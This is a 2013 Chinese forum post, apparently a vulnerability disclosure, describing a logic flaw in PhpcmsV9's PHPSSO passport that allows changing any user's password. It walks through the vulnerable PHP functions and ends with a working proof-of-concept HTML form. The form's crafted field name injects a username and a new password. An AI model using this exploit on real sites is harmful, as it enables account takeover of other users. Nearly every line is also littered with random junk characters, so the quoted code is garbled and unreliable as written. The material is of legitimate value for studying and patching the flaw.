找回密码
 立即注册
查看: 2225|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
提到的通行证的代码:
  b5 M/ e4 S: [* B5 o: w! `. T' q0 Q/ w

) d: P" n+ _" |) o! lparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);4 U' J9 i! d! J" f5 U  @( X7 D
4 O5 V6 Z/ P! a
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。$ z: n& m% r* O, N* E4 M

0 B+ X6 b2 h: M) n$ {我把它留给了你们。/ W* d; G5 @* ~2 p: ~
不知道你们发现了它没有。
+ y, m. G! ?6 G) L" u  ^: `1 q+ O# F+ r- ~4 d0 _: s
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
. W8 x* d/ b/ z* A) z, c/ t) g& Y7 v% I4 w1 v
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。7 P# g+ q  Y- ~' M) l
1 x6 ?$ v' R) E! m; m4 _& M2 n0 Z
也就是! C% @* |$ f$ @9 l( S9 _, l8 ?7 s
0 A. n& n0 X; `0 \6 q+ X  f
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
- F0 h: F0 n, n8 j& x7 h" x) X' W
) j' }& c( `8 M) c" E要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
' O8 Y5 N, B$ s/ Z  u) U$ O4 `& n3 c- i  m8 ?1 g

; E1 S: ^, ^9 i# G0 f其实我们有这样的机会,看看代码,如下:
+ t* z" w3 m4 x  G$ r3 E. B  y3 R+ D
4 Z$ G# Y9 Q4 }' b+ o( B' D3 `3 y+ L* m) _
public function auth_data($data) {7 B% {8 `7 c- @( ?0 V7 v1 A, i7 J
                $s = $sep = '';
/ [+ o8 U& p4 {                foreach($data as $k => $v) {
2 v: I1 o/ ^" _$ ]5 N! m/ B                        if(is_array($v)) {
; k4 G: _) }) p! s( i0 r                                $s2 = $sep2 = '';4 L& v& e: I2 s1 t# Z! u3 p" Y
                                foreach($v as $k2 => $v2) {
; O# P% _0 d, [9 n                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);! {  U; j* `, m6 ?" _- }  g; @
                                        $sep2 = '&';3 B8 S1 M7 {; s5 U1 x1 O4 `2 ?. D
                                }3 d5 b' r, c( z" \; V6 A# R+ J
                                $s .= $sep.$s2;
" U6 Y6 e; K. r) T4 Q                        } else {
+ ?! Q( Z/ y% Y" `                                $s .= "$sep$k=".$this->_ps_stripslashes($v);. B8 Q' |: M/ S1 F
                        }2 ?$ v' J- Z( y6 i
                        $sep = '&';( [7 P/ _! Z" ~% Y; h3 c
                }
; s1 x; _  P, y& k8 Z" n/ A" ^& G8 d( }; c/ `% O: N
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));& p$ v$ b0 v' K, W
                return $auth_s;
8 m- D7 ~* L% I8 Q3 m! x        }
/ C( G4 u+ F0 {: ^
8 u, F5 V: L& H! w1 h  ^( l可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。- Q3 j4 f) e4 I: q  X/ s4 \& d

* f# Y2 e5 \' _* U6 y- P5 O举个例子- s; X, `* C) o) T' F, l! k
+ t' a8 Q9 Z  g& x
$a[aaa=a&bbb] = 'a';2 W2 f4 g) r4 D" p

! Q1 Z& M+ M/ F6 [$ v. h3 T0 N# o会变成aaa=a&bbb=a4 C' W: l; a! [& g  |0 g& ~5 K6 q

% l8 m  B! k: S2 m" w明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。( P% D2 b' p; @1 l# O9 w

" G, k+ q& r; Q: H& h& _这个时候,我们可以再去看一个函数。7 A8 R  O5 L- [9 Z7 g

5 l) B- ~  z2 M( {% v就在这个文件内:8 c2 g+ ]0 J3 J1 H

, \8 c8 ^7 O/ P( y6 s% N5 O0 m) V/ f2 c0 x' V5 I
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
! k$ r  g0 C5 \8 H9 N                if($email && !$this->_is_email($email)) {9 d8 N$ B8 z% m8 p. J* m
                        return -4;
0 O( z9 x* q# f+ J5 C( V) ^                }9 c. ^/ `' G" q( M5 U& }
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));. }+ V/ Z5 K' G( _
        }
" Y+ ?# U& _6 e, }/ n# h& B! V5 ]" p+ C* e# Z% c- c/ y
这是向通行证发了这样一个请求。
; T( r9 T' R+ d1 N: j
+ \1 N: o% t; O! {+ \我们再跟到通信证代码里去看看,就会有所发现。
% H1 B! g! ?1 D
* _  w* ~9 T0 _5 x. ?7 S7 @$ z7 p. s* n  B8 l
public function edit() {) \: j, L- k3 m+ E4 u( h) k
//能省就省,太长了不是吗?9 t7 ]$ ?3 Z/ X2 [- I& m: z; U

( ]0 u, q( R% ?: z) z4 f! |* qif($this->username) {, {' e$ W  l% k5 c) g
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
! U. B, Z7 B, N2 Y4 |                                $res = $this->db->update($data, array('username'=>$this->username));
; _( {1 I! }. A$ Q                        } else {
; L4 x7 D9 K7 b, h: C6 o                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
/ U: p1 C$ i9 _                                $res = $this->db->update($data, array('uid'=>$this->uid));( o% m7 T8 X9 U8 a
                        }
+ {% J9 v9 e: ~3 I
) |! Q: B4 d  s* F& ?好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
) D& }' |3 a$ v6 u
0 |3 P5 S# l4 I4 Fpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')2 @. d! \0 D# N2 p

+ U! x" L- W1 W3 W) s8 m很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
$ V3 @# F! e' S* E4 q5 }+ d+ g: O+ s1 t( h  |2 g, M+ q0 M
我当然找到了:
5 S- O# B) g0 Q# e8 o4 Cphpcms9/phpcms/modules/member/index.php
$ }( k( J0 |7 j( j! E3 \# K7 Z* p9 }& G; P! V
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);  Y5 \/ N( ~8 F2 @7 Q8 }
, `1 K( }, |+ \2 q/ R6 i+ \
然后就没有然后了。, W" j2 u: @# j7 f/ b
" L- e* P( Q4 A+ A
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
- Z( t* y% }3 R! Y$ K! [                                <table width="100%" cellspacing="0" class="table_form">$ I7 v% F: ^: a5 p3 G
                                        <tr>
# `" |% e+ r! P$ _7 [; v4 ]                                                <th width="80">邮箱:</th>        
- E# {& C6 R* V                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>: E" q! e1 Z/ E% y
                                        </tr>
2 @( J* Z" b" l5 b6 c" j8 i                                        <tr>
4 f/ Z, ]. ~! R/ x2 i- s+ a                                                <th width="80">原密码:</th>        # k5 ~6 x5 b) C% g9 @6 E6 _
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>6 z) P) `5 t" ~1 D' [
                                        </tr>! v4 [% ?& n- e1 N) a
                                        <tr>$ d/ e: i/ X; |+ ~
                                                <th>新密码:</th>
6 D- h2 |. X4 h# U0 F2 {6 B" h                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>9 z7 P. [; j2 b. N0 f
                                        </tr>
  i: w; {1 ]0 H' c0 h& S                                        <th></th>) g3 Q3 C- t9 c0 m+ ^9 h  i$ s
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>. d& \  k3 w8 J% w' ^5 L- Z
                                        </tr>5 I  ?4 f' v' k6 p# T% ]
                                </table>8 X7 y- F7 M% s
; U& X$ n4 k+ A: q$ c3 ^
                               
) V9 H5 U" m2 }, Z9 u9 J                        </form>
) ]6 L/ X% R: b, l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表